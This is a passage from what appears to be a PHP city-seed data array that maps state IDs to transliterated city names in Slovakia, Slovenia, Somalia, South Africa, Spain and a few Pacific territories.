'name' => 'skalica'],\n ['state_id' => '3193', 'name' => 'sladkovichovo'],\n ['state_id' => '3193', 'name' => 'trnava'],\n ['state_id' => '3193', 'name' => 'vel\\'ke ul\\'any'],\n ['state_id' => '3193', 'name' => 'vel\\'ky meder'],\n ['state_id' => '3193', 'name' => 'vrbove'],\n ['state_id' => '3194', 'name' => 'bytcha'],\n ['state_id' => '3194', 'name' => 'chadca'],\n ['state_id' => '3194', 'name' => 'chierne'],\n ['state_id' => '3194', 'name' => 'dolny kubin'],\n ['state_id' => '3194', 'name' => 'krasno nad kysucou'],\n ['state_id' => '3194', 'name' => 'kysucke nove mesto'],\n ['state_id' => '3194', 'name' => 'liptovsky hradok'],\n ['state_id' => '3194', 'name' => 'liptovsky mikulash'],\n ['state_id' => '3194', 'name' => 'martin'],\n ['state_id' => '3194', 'name' => 'namestovo'],\n ['state_id' => '3194', 'name' => 'nizhna'],\n ['state_id' => '3194', 'name' => 'oshchadnica'],\n ['state_id' => '3194', 'name' => 'rabcha'],\n ['state_id' => '3194', 'name' => 'rajec'],\n ['state_id' => '3194', 'name' => 'rakova'],\n ['state_id' => '3194', 'name' => 'ruzhomberok'],\n ['state_id' => '3194', 'name' => 'ruzomberok'],\n ['state_id' => '3194', 'name' => 'shtiavnik'],\n ['state_id' => '3194', 'name' => 'skalite'],\n ['state_id' => '3194', 'name' => 'suchany'],\n ['state_id' => '3194', 'name' => 'terchova'],\n ['state_id' => '3194', 'name' => 'trstena'],\n ['state_id' => '3194', 'name' => 'turany'],\n ['state_id' => '3194', 'name' => 'turchianske teplice'],\n ['state_id' => '3194', 'name' => 'turzovka'],\n ['state_id' => '3194', 'name' => 'tvrdoshin'],\n ['state_id' => '3194', 'name' => 'vel\\'ke rovne'],\n ['state_id' => '3194', 'name' => 'vrutky'],\n ['state_id' => '3194', 'name' => 'zakamenne'],\n ['state_id' => '3194', 'name' => 'zhilina'],\n ['state_id' => '3194', 'name' => 'zilina'],\n ['state_id' => '3195', 'name' => 'semic'],\n ['state_id' => '3195', 'name' => 'skofljica'],\n ['state_id' => '3195', 'name' => 'zelezniki'],\n ['state_id' => '3196', 'name' => 'begunje na gorenjskem'],\n ['state_id' => '3196', 'name' => 'bistrica ob trzhichu'],\n ['state_id' => '3196', 'name' => 'bled'],\n ['state_id' => '3196', 'name' => 'blejska dobrava'],\n ['state_id' => '3196', 'name' => 'bohinjska bistrica'],\n ['state_id' => '3196', 'name' => 'britof'],\n ['state_id' => '3196', 'name' => 'cerklje na gorenjskem'],\n ['state_id' => '3196', 'name' => 'golnik'],\n ['state_id' => '3196', 'name' => 'gorenja vas'],\n ['state_id' => '3196', 'name' => 'hrastje'],\n ['state_id' => '3196', 'name' => 'hrushica'],\n ['state_id' => '3196', 'name' => 'jesenice'],\n ['state_id' => '3196', 'name' => 'kokrica'],\n ['state_id' => '3196', 'name' => 'koroshka bela'],\n ['state_id' => '3196', 'name' => 'kranj'],\n ['state_id' => '3196', 'name' => 'kranjska gora'],\n ['state_id' => '3196', 'name' => 'krizhe'],\n ['state_id' => '3196', 'name' => 'kropa'],\n ['state_id' => '3196', 'name' => 'lesce'],\n ['state_id' => '3196', 'name' => 'mlaka pri kranju'],\n ['state_id' => '3196', 'name' => 'mojstrana'],\n ['state_id' => '3196', 'name' => 'preddvor'],\n ['state_id' => '3196', 'name' => 'predoslje'],\n ['state_id' => '3196', 'name' => 'pristava'],\n ['state_id' => '3196', 'name' => 'radovljica'],\n ['state_id' => '3196', 'name' => 'shenchur'],\n ['state_id' => '3196', 'name' => 'shkofja loka'],\n ['state_id' => '3196', 'name' => 'slovenski javornik'],\n ['state_id' => '3196', 'name' => 'spodnja besnica'],\n ['state_id' => '3196', 'name' => 'spodnje gorje'],\n ['state_id' => '3196', 'name' => 'stara loka'],\n ['state_id' => '3196', 'name' => 'sveti duh'],\n ['state_id' => '3196', 'name' => 'trzhich'],\n ['state_id' => '3196', 'name' => 'visoko'],\n ['state_id' => '3196', 'name' => 'zasip'],\n ['state_id' => '3196', 'name' => 'zgornje bitnje'],\n ['state_id' => '3196', 'name' => 'zhelezniki'],\n ['state_id' => '3196', 'name' => 'zhiri'],\n ['state_id' => '3197', 'name' => 'ajdovshchina'],\n ['state_id' => '3197', 'name' => 'bilje'],\n ['state_id' => '3197', 'name' => 'bovec'],\n ['state_id' => '3197', 'name' => 'branik'],\n ['state_id' => '3197', 'name' => 'cerkno'],\n ['state_id' => '3197', 'name' => 'deskle'],\n ['state_id' => '3197', 'name' => 'idrija'],\n ['state_id' => '3197', 'name' => 'kanal'],\n ['state_id' => '3197', 'name' => 'kobarid'],\n ['state_id' => '3197', 'name' => 'kromberk'],\n ['state_id' => '3197', 'name' => 'lokavec'],\n ['state_id' => '3197', 'name' => 'miren'],\n ['state_id' => '3197', 'name' => 'nova gorica'],\n ['state_id' => '3197', 'name' => 'prvachina'],\n ['state_id' => '3197', 'name' => 'renche'],\n ['state_id' => '3197', 'name' => 'rozhna dolina'],\n ['state_id' => '3197', 'name' => 'shempas'],\n ['state_id' => '3197', 'name' => 'shempeter'],\n ['state_id' => '3197', 'name' => 'solkan'],\n ['state_id' => '3197', 'name' => 'spodnja idrija'],\n ['state_id' => '3197', 'name' => 'tolmin'],\n ['state_id' => '3197', 'name' => 'vipava'],\n ['state_id' => '3197', 'name' => 'vrtojba'],\n ['state_id' => '3199', 'name' => 'chrna na koroshkem'],\n ['state_id' => '3199', 'name' => 'dravograd'],\n ['state_id' => '3199', 'name' => 'legen'],\n ['state_id' => '3199', 'name' => 'mezhica'],\n ['state_id' => '3199', 'name' => 'mislinja'],\n ['state_id' => '3199', 'name' => 'muta'],\n ['state_id' => '3199', 'name' => 'otishki vrh'],\n ['state_id' => '3199', 'name' => 'pameche'],\n ['state_id' => '3199', 'name' => 'podgorje'],\n ['state_id' => '3199', 'name' => 'prevalje'],\n ['state_id' => '3199', 'name' => 'radlje ob dravi'],\n ['state_id' => '3199', 'name' => 'ravne'],\n ['state_id' => '3199', 'name' => 'shmartno pri slovenj gradcu'],\n ['state_id' => '3199', 'name' => 'slovenj gradec'],\n ['state_id' => '3199', 'name' => 'vuhred'],\n ['state_id' => '3199', 'name' => 'vuzenica'],\n ['state_id' => '3200', 'name' => 'cerknica'],\n ['state_id' => '3200', 'name' => 'ilirska bistrica'],\n ['state_id' => '3200', 'name' => 'pivka'],\n ['state_id' => '3200', 'name' => 'postojna'],\n ['state_id' => '3200', 'name' => 'rakek'],\n ['state_id' => '3200', 'name' => 'stari trg pri lozhu'],\n ['state_id' => '3201', 'name' => 'ankaran'],\n ['state_id' => '3201', 'name' => 'bertoki'],\n ['state_id' => '3201', 'name' => 'dekani'],\n ['state_id' => '3201', 'name' => 'divacha'],\n ['state_id' => '3201', 'name' => 'hrvatni'],\n ['state_id' => '3201', 'name' => 'izola'],\n ['state_id' => '3201', 'name' => 'jagodje'],\n ['state_id' => '3201', 'name' => 'koper'],\n ['state_id' => '3201', 'name' => 'lucija'],\n ['state_id' => '3201', 'name' => 'pareceg'],\n ['state_id' => '3201', 'name' => 'piran'],\n ['state_id' => '3201', 'name' => 'pobegi'],\n ['state_id' => '3201', 'name' => 'portorozh'],\n ['state_id' => '3201', 'name' => 'prade'],\n ['state_id' => '3201', 'name' => 'secha'],\n ['state_id' => '3201', 'name' => 'sezhana'],\n ['state_id' => '3201', 'name' => 'spodnje shkofije'],\n ['state_id' => '3201', 'name' => 'sveti anton'],\n ['state_id' => '3204', 'name' => 'borovnica'],\n ['state_id' => '3204', 'name' => 'brezovica pri ljubljani'],\n ['state_id' => '3204', 'name' => 'dob'],\n ['state_id' => '3204', 'name' => 'dobrova'],\n ['state_id' => '3204', 'name' => 'domzhale'],\n ['state_id' => '3204', 'name' => 'dragomer'],\n ['state_id' => '3204', 'name' => 'grosuplje'],\n ['state_id' => '3204', 'name' => 'horjul'],\n ['state_id' => '3204', 'name' => 'ig'],\n ['state_id' => '3204', 'name' => 'ivanchna gorica'],\n ['state_id' => '3204', 'name' => 'kamnik'],\n ['state_id' => '3204', 'name' => 'komenda'],\n ['state_id' => '3204', 'name' => 'lavrica'],\n ['state_id' => '3204', 'name' => 'litija'],\n ['state_id' => '3204', 'name' => 'ljubljana'],\n ['state_id' => '3204', 'name' => 'log pri brezovici'],\n ['state_id' => '3204', 'name' => 'logatec'],\n ['state_id' => '3204', 'name' => 'medvode'],\n ['state_id' => '3204', 'name' => 'mekinje'],\n ['state_id' => '3204', 'name' => 'mengesh'],\n ['state_id' => '3204', 'name' => 'moravche'],\n ['state_id' => '3204', 'name' => 'notranje'],\n ['state_id' => '3204', 'name' => 'podgorje'],\n ['state_id' => '3204', 'name' => 'preserje pri radomljah'],\n ['state_id' => '3204', 'name' => 'radomlje'],\n ['state_id' => '3204', 'name' => 'rovte'],\n ['state_id' => '3204', 'name' => 'shentvid pri stichni'],\n ['state_id' => '3204', 'name' => 'shkofljica'],\n ['state_id' => '3204', 'name' => 'shmarca'],\n ['state_id' => '3204', 'name' => 'shmartno pri litiji'],\n ['state_id' => '3204', 'name' => 'smarje-sap'],\n ['state_id' => '3204', 'name' => 'trzin'],\n ['state_id' => '3204', 'name' => 'verd'],\n ['state_id' => '3204', 'name' => 'vir'],\n ['state_id' => '3204', 'name' => 'vishnja gora'],\n ['state_id' => '3204', 'name' => 'vnanje gorice'],\n ['state_id' => '3204', 'name' => 'vodice'],\n ['state_id' => '3204', 'name' => 'vrhnika'],\n ['state_id' => '3204', 'name' => 'zgornje pirniche'],\n ['state_id' => '3205', 'name' => 'bistrica ob dravi'],\n ['state_id' => '3205', 'name' => 'bresternica'],\n ['state_id' => '3205', 'name' => 'bukovci'],\n ['state_id' => '3205', 'name' => 'dogoshe'],\n ['state_id' => '3205', 'name' => 'dornava'],\n ['state_id' => '3205', 'name' => 'fram'],\n ['state_id' => '3205', 'name' => 'hotinja vas'],\n ['state_id' => '3205', 'name' => 'kamnica'],\n ['state_id' => '3205', 'name' => 'kidrichevo'],\n ['state_id' => '3205', 'name' => 'koshaki'],\n ['state_id' => '3205', 'name' => 'krchevina pri vurbergu'],\n ['state_id' => '3205', 'name' => 'lenart'],\n ['state_id' => '3205', 'name' => 'limbush'],\n ['state_id' => '3205', 'name' => 'lovrenc na pohorju'],\n ['state_id' => '3205', 'name' => 'maribor'],\n ['state_id' => '3205', 'name' => 'miklavzh na dravskem polju'],\n ['state_id' => '3205', 'name' => 'ormozh'],\n ['state_id' => '3205', 'name' => 'pekre'],\n ['state_id' => '3205', 'name' => 'pesnica pri mariboru'],\n ['state_id' => '3205', 'name' => 'pobrezhje'],\n ['state_id' => '3205', 'name' => 'podvinci'],\n ['state_id' => '3205', 'name' => 'poljchane'],\n ['state_id' => '3205', 'name' => 'pragersko'],\n ['state_id' => '3205', 'name' => 'ptuj'],\n ['state_id' => '3205', 'name' => 'rache'],\n ['state_id' => '3205', 'name' => 'radizel'],\n ['state_id' => '3205', 'name' => 'razvanje'],\n ['state_id' => '3205', 'name' => 'rogoza'],\n ['state_id' => '3205', 'name' => 'rushe'],\n ['state_id' => '3205', 'name' => 'selnica ob dravi'],\n ['state_id' => '3205', 'name' => 'selnica ob muri'],\n ['state_id' => '3205', 'name' => 'shentilj'],\n ['state_id' => '3205', 'name' => 'skoke'],\n ['state_id' => '3205', 'name' => 'slovenska bistrica'],\n ['state_id' => '3205', 'name' => 'spodnja polskava'],\n ['state_id' => '3205', 'name' => 'spodnje hoche'],\n ['state_id' => '3205', 'name' => 'spodnji duplek'],\n ['state_id' => '3205', 'name' => 'spuhlja'],\n ['state_id' => '3205', 'name' => 'sredishche ob dravi'],\n ['state_id' => '3205', 'name' => 'stojnci'],\n ['state_id' => '3205', 'name' => 'zgornja polskava'],\n ['state_id' => '3205', 'name' => 'zgornje poljchane'],\n ['state_id' => '3205', 'name' => 'zgornji duplek'],\n ['state_id' => '3206', 'name' => 'bakovci'],\n ['state_id' => '3206', 'name' => 'beltinci'],\n ['state_id' => '3206', 'name' => 'chernelavci'],\n ['state_id' => '3206', 'name' => 'chrenshovci'],\n ['state_id' => '3206', 'name' => 'dobrovnik'],\n ['state_id' => '3206', 'name' => 'doklezhovje'],\n ['state_id' => '3206', 'name' => 'ganchani'],\n ['state_id' => '3206', 'name' => 'gornja radgona'],\n ['state_id' => '3206', 'name' => 'izhakovci'],\n ['state_id' => '3206', 'name' => 'krog'],\n ['state_id' => '3206', 'name' => 'lendava'],\n ['state_id' => '3206', 'name' => 'lipovci'],\n ['state_id' => '3206', 'name' => 'ljutomer'],\n ['state_id' => '3206', 'name' => 'melinci'],\n ['state_id' => '3206', 'name' => 'murska sobota'],\n ['state_id' => '3206', 'name' => 'odranci'],\n ['state_id' => '3206', 'name' => 'petishovci'],\n ['state_id' => '3206', 'name' => 'radenci'],\n ['state_id' => '3206', 'name' => 'rakichan'],\n ['state_id' => '3206', 'name' => 'turnishche'],\n ['state_id' => '3206', 'name' => 'velika polana'],\n ['state_id' => '3206', 'name' => 'verzej'],\n ['state_id' => '3207', 'name' => 'breg pri polzeli'],\n ['state_id' => '3207', 'name' => 'celje'],\n ['state_id' => '3207', 'name' => 'gornji grad'],\n ['state_id' => '3207', 'name' => 'gotovlje'],\n ['state_id' => '3207', 'name' => 'kasaze'],\n ['state_id' => '3207', 'name' => 'lashko'],\n ['state_id' => '3207', 'name' => 'ljubechna'],\n ['state_id' => '3207', 'name' => 'ljubno ob savinji'],\n ['state_id' => '3207', 'name' => 'loka pri zusmu'],\n ['state_id' => '3207', 'name' => 'lokovica'],\n ['state_id' => '3207', 'name' => 'mozirje'],\n ['state_id' => '3207', 'name' => 'naklo'],\n ['state_id' => '3207', 'name' => 'nazarje'],\n ['state_id' => '3207', 'name' => 'oplotnica'],\n ['state_id' => '3207', 'name' => 'petrovche'],\n ['state_id' => '3207', 'name' => 'polzela'],\n ['state_id' => '3207', 'name' => 'prebold'],\n ['state_id' => '3207', 'name' => 'radeche'],\n ['state_id' => '3207', 'name' => 'ravne'],\n ['state_id' => '3207', 'name' => 'rimske toplica'],\n ['state_id' => '3207', 'name' => 'rogashka slatina'],\n ['state_id' => '3207', 'name' => 'rogatec'],\n ['state_id' => '3207', 'name' => 'sentjernej'],\n ['state_id' => '3207', 'name' => 'shempeter'],\n ['state_id' => '3207', 'name' => 'shentjur'],\n ['state_id' => '3207', 'name' => 'shkale'],\n ['state_id' => '3207', 'name' => 'shmarje pri jelshah'],\n ['state_id' => '3207', 'name' => 'shoshtanj'],\n ['state_id' => '3207', 'name' => 'shtore'],\n ['state_id' => '3207', 'name' => 'slovenske konjice'],\n ['state_id' => '3207', 'name' => 'topolshica'],\n ['state_id' => '3207', 'name' => 'trnovlje pri celju'],\n ['state_id' => '3207', 'name' => 'velenje'],\n ['state_id' => '3207', 'name' => 'vitanje'],\n ['state_id' => '3207', 'name' => 'vojnik'],\n ['state_id' => '3207', 'name' => 'zabukovica'],\n ['state_id' => '3207', 'name' => 'zadobrova'],\n ['state_id' => '3207', 'name' => 'zhalec'],\n ['state_id' => '3207', 'name' => 'zreche'],\n ['state_id' => '3209', 'name' => 'brestanica'],\n ['state_id' => '3209', 'name' => 'brezhice'],\n ['state_id' => '3209', 'name' => 'krshko'],\n ['state_id' => '3209', 'name' => 'leskovac pri krshkem'],\n ['state_id' => '3209', 'name' => 'senovo'],\n ['state_id' => '3209', 'name' => 'sevnica'],\n ['state_id' => '3210', 'name' => 'dol pri hrastniku'],\n ['state_id' => '3210', 'name' => 'hrastnik'],\n ['state_id' => '3210', 'name' => 'izlake'],\n ['state_id' => '3210', 'name' => 'kisovec'],\n ['state_id' => '3210', 'name' => 'trbovlje'],\n ['state_id' => '3210', 'name' => 'zagorje ob savi'],\n ['state_id' => '3211', 'name' => 'adamstown'],\n ['state_id' => '3212', 'name' => 'tulagi'],\n ['state_id' => '3213', 'name' => 'taro island'],\n ['state_id' => '3214', 'name' => 'honiara'],\n ['state_id' => '3215', 'name' => 'buala'],\n ['state_id' => '3217', 'name' => 'auki'],\n ['state_id' => '3219', 'name' => 'lata'],\n ['state_id' => '3220', 'name' => 'gizo'],\n ['state_id' => '3221', 'name' => 'baki'],\n ['state_id' => '3221', 'name' => 'borama'],\n ['state_id' => '3221', 'name' => 'gebilay'],\n ['state_id' => '3221', 'name' => 'sayla\\''],\n ['state_id' => '3222', 'name' => 'tayeglo'],\n ['state_id' => '3222', 'name' => 'xuddur'],\n ['state_id' => '3222', 'name' => 'yet'],\n ['state_id' => '3223', 'name' => 'muqdisho'],\n ['state_id' => '3224', 'name' => '\\'alula'],\n ['state_id' => '3224', 'name' => 'bandarbeyla'],\n ['state_id' => '3224', 'name' => 'bandarmu\\'ayo'],\n ['state_id' => '3224', 'name' => 'bargal'],\n ['state_id' => '3224', 'name' => 'bereda'],\n ['state_id' => '3224', 'name' => 'bosaso'],\n ['state_id' => '3224', 'name' => 'iskushuban'],\n ['state_id' => '3224', 'name' => 'qandala'],\n ['state_id' => '3224', 'name' => 'qardho'],\n ['state_id' => '3224', 'name' => 'xafun'],\n ['state_id' => '3225', 'name' => 'baydhabo'],\n ['state_id' => '3225', 'name' => 'bur hakkaba'],\n ['state_id' => '3225', 'name' => 'dinsor'],\n ['state_id' => '3226', 'name' => '\\'elbur'],\n ['state_id' => '3226', 'name' => '\\'eldhere'],\n ['state_id' => '3226', 'name' => 'dhusa marreb'],\n ['state_id' => '3227', 'name' => 'bardhere'],\n ['state_id' => '3227', 'name' => 'dolaw'],\n ['state_id' => '3227', 'name' => 'dujuma'],\n ['state_id' => '3227', 'name' => 'garbaharey'],\n ['state_id' => '3227', 'name' => 'luq'],\n ['state_id' => '3227', 'name' => 'sa\\'o'],\n ['state_id' => '3227', 'name' => 'wajid'],\n ['state_id' => '3228', 'name' => 'bal\\'ad'],\n ['state_id' => '3228', 'name' => 'beled weyne'],\n ['state_id' => '3228', 'name' => 'bulobarde'],\n ['state_id' => '3228', 'name' => 'jalalassi'],\n ['state_id' => '3231', 'name' => 'galka\\'yo'],\n ['state_id' => '3231', 'name' => 'hobyo'],\n ['state_id' => '3231', 'name' => 'xarardhere'],\n ['state_id' => '3232', 'name' => 'eyl'],\n ['state_id' => '3232', 'name' => 'garowe'],\n ['state_id' => '3232', 'name' => 'las\\'anod'],\n ['state_id' => '3233', 'name' => '\\'erigabo'],\n ['state_id' => '3233', 'name' => 'lasqoray'],\n ['state_id' => '3236', 'name' => '\\'ek'],\n ['state_id' => '3236', 'name' => 'bur\\'o'],\n ['state_id' => '3236', 'name' => 'odweyne'],\n ['state_id' => '3240', 'name' => 'alberton'],\n ['state_id' => '3240', 'name' => 'alrode'],\n ['state_id' => '3240', 'name' => 'benmore'],\n ['state_id' => '3240', 'name' => 'benoni'],\n ['state_id' => '3240', 'name' => 'boksburg'],\n ['state_id' => '3240', 'name' => 'booysens'],\n ['state_id' => '3240', 'name' => 'brakpan'],\n ['state_id' => '3240', 'name' => 'bronkhorstspruit'],\n ['state_id' => '3240', 'name' => 'bryanston'],\n ['state_id' => '3240', 'name' => 'carltonville'],\n ['state_id' => '3240', 'name' => 'centurion'],\n ['state_id' => '3240', 'name' => 'cullinan'],\n ['state_id' => '3240', 'name' => 'dainfern'],\n ['state_id' => '3240', 'name' => 'edenvale'],\n ['state_id' => '3240', 'name' => 'ferndale'],\n ['state_id' => '3240', 'name' => 'fourways'],\n ['state_id' => '3240', 'name' => 'gardenview'],\n ['state_id' => '3240', 'name' => 'gauteng'],\n ['state_id' => '3240', 'name' => 'grant park'],\n ['state_id' => '3240', 'name' => 'heidelberg'],\n ['state_id' => '3240', 'name' => 'isando'],\n ['state_id' => '3240', 'name' => 'johannesburg'],\n ['state_id' => '3240', 'name' => 'kelvin'],\n ['state_id' => '3240', 'name' => 'krugersdorp'],\n ['state_id' => '3240', 'name' => 'linmeyer'],\n ['state_id' => '3240', 'name' => 'maraisburg'],\n ['state_id' => '3240', 'name' => 'midrand'],\n ['state_id' => '3240', 'name' => 'nigel'],\n ['state_id' => '3240', 'name' => 'northmead'],\n ['state_id' => '3240', 'name' => 'petervale'],\n ['state_id' => '3240', 'name' => 'pinegowrie'],\n ['state_id' => '3240', 'name' => 'pretoria'],\n ['state_id' => '3240', 'name' => 'primrose'],\n ['state_id' => '3240', 'name' => 'randburg'],\n ['state_id' => '3240', 'name' => 'randfontein'],\n ['state_id' => '3240', 'name' => 'randvaal'],\n ['state_id' => '3240', 'name' => 'rivonia'],\n ['state_id' => '3240', 'name' => 'robertville'],\n ['state_id' => '3240', 'name' => 'soweto'],\n ['state_id' => '3240', 'name' => 'springs'],\n ['state_id' => '3240', 'name' => 'temba'],\n ['state_id' => '3240', 'name' => 'tembisa'],\n ['state_id' => '3240', 'name' => 'troyeville'],\n ['state_id' => '3240', 'name' => 'vanderbijlpark'],\n ['state_id' => '3240', 'name' => 'vereeniging'],\n ['state_id' => '3240', 'name' => 'verwoerdburg'],\n ['state_id' => '3240', 'name' => 'vorna valley'],\n ['state_id' => '3240', 'name' => 'wadeville'],\n ['state_id' => '3240', 'name' => 'westonaria'],\n ['state_id' => '3242', 'name' => 'sandton'],\n ['state_id' => '3244', 'name' => 'bela-bela'],\n ['state_id' => '3244', 'name' => 'dendron'],\n ['state_id' => '3244', 'name' => 'duiwelskloof'],\n ['state_id' => '3244', 'name' => 'ellisras'],\n ['state_id' => '3244', 'name' => 'giyani'],\n ['state_id' => '3244', 'name' => 'lebowakgomo'],\n ['state_id' => '3244', 'name' => 'louis trichardt'],\n ['state_id' => '3244', 'name' => 'lulekani'],\n ['state_id' => '3244', 'name' => 'mankweng'],\n ['state_id' => '3244', 'name' => 'messina'],\n ['state_id' => '3244', 'name' => 'mogalakwena'],\n ['state_id' => '3244', 'name' => 'mutale'],\n ['state_id' => '3244', 'name' => 'nkowakowa'],\n ['state_id' => '3244', 'name' => 'nylstroom'],\n ['state_id' => '3244', 'name' => 'phalaborwa'],\n ['state_id' => '3244', 'name' => 'pietersburg'],\n ['state_id' => '3244', 'name' => 'polokwane'],\n ['state_id' => '3244', 'name' => 'soekmekaar'],\n ['state_id' => '3244', 'name' => 'southdale'],\n ['state_id' => '3244', 'name' => 'thabazimbi'],\n ['state_id' => '3244', 'name' => 'thohoyandou'],\n ['state_id' => '3244', 'name' => 'thulamahashe'],\n ['state_id' => '3244', 'name' => 'tzaneen'],\n ['state_id' => '3245', 'name' => 'botleng'],\n ['state_id' => '3245', 'name' => 'ekangala'],\n ['state_id' => '3245', 'name' => 'embalenhle'],\n ['state_id' => '3245', 'name' => 'emjindini'],\n ['state_id' => '3245', 'name' => 'empuluzi'],\n ['state_id' => '3245', 'name' => 'emzinoni'],\n ['state_id' => '3245', 'name' => 'ermelo'],\n ['state_id' => '3245', 'name' => 'ethandakukhanja'],\n ['state_id' => '3245', 'name' => 'groblersdal'],\n ['state_id' => '3245', 'name' => 'komatipoort'],\n ['state_id' => '3245', 'name' => 'kriel'],\n ['state_id' => '3245', 'name' => 'kwazanele'],\n ['state_id' => '3245', 'name' => 'kwazamokuhle'],\n ['state_id' => '3245', 'name' => 'lebohang'],\n ['state_id' => '3245', 'name' => 'marblehall'],\n ['state_id' => '3245', 'name' => 'mashishing'],\n ['state_id' => '3245', 'name' => 'mhluzi'],\n ['state_id' => '3245', 'name' => 'nelspruit'],\n ['state_id' => '3245', 'name' => 'phola'],\n ['state_id' => '3245', 'name' => 'sakhile'],\n ['state_id' => '3245', 'name' => 'secunda'],\n ['state_id' => '3245', 'name' => 'siyabuswa'],\n ['state_id' => '3245', 'name' => 'siyathemba'],\n ['state_id' => '3245', 'name' => 'siyathuthuka'],\n ['state_id' => '3245', 'name' => 'vukuzakhe'],\n ['state_id' => '3245', 'name' => 'witbank'],\n ['state_id' => '3245', 'name' => 'witrivier'],\n ['state_id' => '3245', 'name' => 'elukwatini'],\n ['state_id' => '3248', 'name' => 'parow'],\n ['state_id' => '3250', 'name' => 'umtentweni'],\n ['state_id' => '3255', 'name' => 'albatera'],\n ['state_id' => '3255', 'name' => 'alacant'],\n ['state_id' => '3255', 'name' => 'alcoi'],\n ['state_id' => '3255', 'name' => 'almoradi'],\n ['state_id' => '3255', 'name' => 'altea'],\n ['state_id' => '3255', 'name' => 'aspe'],\n ['state_id' => '3255', 'name' => 'benidorm'],\n ['state_id' => '3255', 'name' => 'benissa'],\n ['state_id' => '3255', 'name' => 'callosa de segura'],\n ['state_id' => '3255', 'name' => 'calp'],\n ['state_id' => '3255', 'name' => 'cocentaina'],\n ['state_id' => '3255', 'name' => 'crevillent'],\n ['state_id' => '3255', 'name' => 'denia'],\n ['state_id' => '3255', 'name' => 'el campello'],\n ['state_id' => '3255', 'name' => 'elda'],\n ['state_id' => '3255', 'name' => 'elx'],\n ['state_id' => '3255', 'name' => 'guardamar del segura'],\n ['state_id' => '3255', 'name' => 'ibi'],\n ['state_id' => '3255', 'name' => 'l\\'alfas del pi'],\n ['state_id' => '3255', 'name' => 'la vila joiosa'],\n ['state_id' => '3255', 'name' => 'monover'],\n ['state_id' => '3255', 'name' => 'mutxamel'],\n ['state_id' => '3255', 'name' => 'novelda'],\n ['state_id' => '3255', 'name' => 'orihuela'],\n ['state_id' => '3255', 'name' => 'pedreguer'],\n ['state_id' => '3255', 'name' => 'pego'],\n ['state_id' => '3255', 'name' => 'petrer'],\n ['state_id' => '3255', 'name' => 'pilar de la horadada'],\n ['state_id' => '3255', 'name' => 'pinoso'],\n ['state_id' => '3255', 'name' => 'rojales'],\n ['state_id' => '3255', 'name' => 'sant joan d\\'alacant'],\n ['state_id' => '3255', 'name' => 'sant vicent del raspeig'],\n ['state_id' => '3255', 'name' => 'santa pola'],\n ['state_id' => '3255', 'name' => 'sax'],\n ['state_id' => '3255', 'name' => 'teulada'],\n ['state_id' => '3255', 'name' => 'torrevieja'],\n ['state_id' => '3255', 'name' => 'villena'],\n ['state_id' => '3255', 'name' => 'xabia'],\n ['state_id' => '3256', 'name' => 'amurrio'],\n ['state_id' => '3256', 'name' => 'llodio'],\n ['state_id' => '3256', 'name' => 'vitoria'],\n ['state_id' => '3257', 'name' => 'albacete'],\n ['state_id' => '3257', 'name' => 'almansa'],\n ['state_id' => '3257', 'name' => 'caudete'],\n ['state_id' => '3257', 'name' => 'hellin'],\n ['state_id' => '3257', 'name' => 'la roda'],\n ['state_id' => '3257', 'name' => 'villarrobledo'],\n ['state_id' => '3258', 'name' => 'adra'],\n ['state_id' => '3258', 'name' => 'albox'],\n ['state_id' => '3258', 'name' => 'almeria'],\n ['state_id' => '3258', 'name' => 'berja'],\n ['state_id' => '3258', 'name' => 'cuevas del almanzora'],\n ['state_id' => '3258', 'name' => 'el ejido'],\n ['state_id' => '3258', 'name' => 'huercal de almeria'],\n ['state_id' => '3258', 'name' => 'huercal-overa'],\n ['state_id' => '3258', 'name' => 'nijar'],\n ['state_id' => '3258', 'name' => 'roquetas de mar'],\n ['state_id' => '3258', 'name' => 'vicar'],\n ['state_id' => '3259', 'name' => 'benalmadena'],\n ['state_id' => '3260', 'name' => 'aller'],\n ['state_id' => '3260', 'name' => 'aviles'],\n ['state_id' => '3260', 'name' => 'c/ pena salon'],\n ['state_id' => '3260', 'name' => 'cangas del narcea'],\n ['state_id' => '3260', 'name' => 'carreno'],\n ['state_id' => '3260', 'name' => 'castrillon'],\n ['state_id' => '3260', 'name' => 'corvera de asturias'],\n ['state_id' => '3260', 'name' => 'gijon'],\n ['state_id' => '3260', 'name' => 'gozon'],\n ['state_id' => '3260', 'name' => 'grado'],\n ['state_id' => '3260', 'name' => 'langreo'],\n ['state_id' => '3260', 'name' => 'laviana'],\n ['state_id' => '3260', 'name' => 'lena'],\n ['state_id' => '3260', 'name' => 'llanera'],\n ['state_id' => '3260', 'name' => 'llanes'],\n ['state_id' => '3260', 'name' => 'mieres'],\n ['state_id' => '3260', 'name' => 'navia'],\n ['state_id' => '3260', 'name' => 'oviedo'],\n ['state_id' => '3260', 'name' => 'pilona'],\n ['state_id' => '3260', 'name' => 'pravia'],\n ['state_id' => '3260', 'name' => 'san martin del rey aurelio'],\n ['state_id' => '3260', 'name' => 'siero'],\n ['state_id' => '3260', 'name' => 'tineo'],\n ['state_id' => '3260', 'name' => 'valdes'],\n ['state_id' => '3260', 'name' => 'villaviciosa'],\n ['state_id' => '3261', 'name' => 'avila'],\n ['state_id' => '3262', 'name' => 'almendralejo'],\n ['state_id' => '3262', 'name' => 'azuaga'],\n ['state_id' => '3262', 'name' => 'badajoz'],\n ['state_id' => '3262', 'name' => 'don benito'],\n ['state_id' => '3262', 'name' => 'jerez de los caballeros'],\n ['state_id' => '3262', 'name' => 'merida'],\n ['state_id' => '3262', 'name' => 'montijo'],\n ['state_id' => '3262', 'name' => 'olivenza'],\n ['state_id' => '3262', 'name' => 'villafranca de los barros'],\n ['state_id' => '3262', 'name' => 'villanueva de la serena'],\n ['state_id' => '3262', 'name' => 'zafra'],\n ['state_id' => '3263', 'name' => 'alayor-menorca'],\n ['state_id' => '3263', 'name' => 'alcudia'],\n ['state_id' => '3263', 'name' => 'calvia'],\n ['state_id' => '3263', 'name' => 'capdepera'],\n ['state_id' => '3263', 'name' => 'ciutadella de menorca'],\n ['state_id' => '3263', 'name' => 'eivissa'],\n ['state_id' => '3263', 'name' => 'felanitx'],\n ['state_id' => '3263', 'name' => 'inca'],\n ['state_id' => '3263', 'name' => 'llucmajor'],\n ['state_id' => '3263', 'name' => 'mahon'],\n ['state_id' => '3263', 'name' => 'manacor'],\n ['state_id' => '3263', 'name' => 'marratxi'],\n ['state_id' => '3263', 'name' => 'palma'],\n ['state_id' => '3263', 'name' => 'pollenca'],\n ['state_id' => '3263', 'name' => 'sa pobla'],\n ['state_id' => '3263', 'name' => 'sant antoni de portmany'],\n 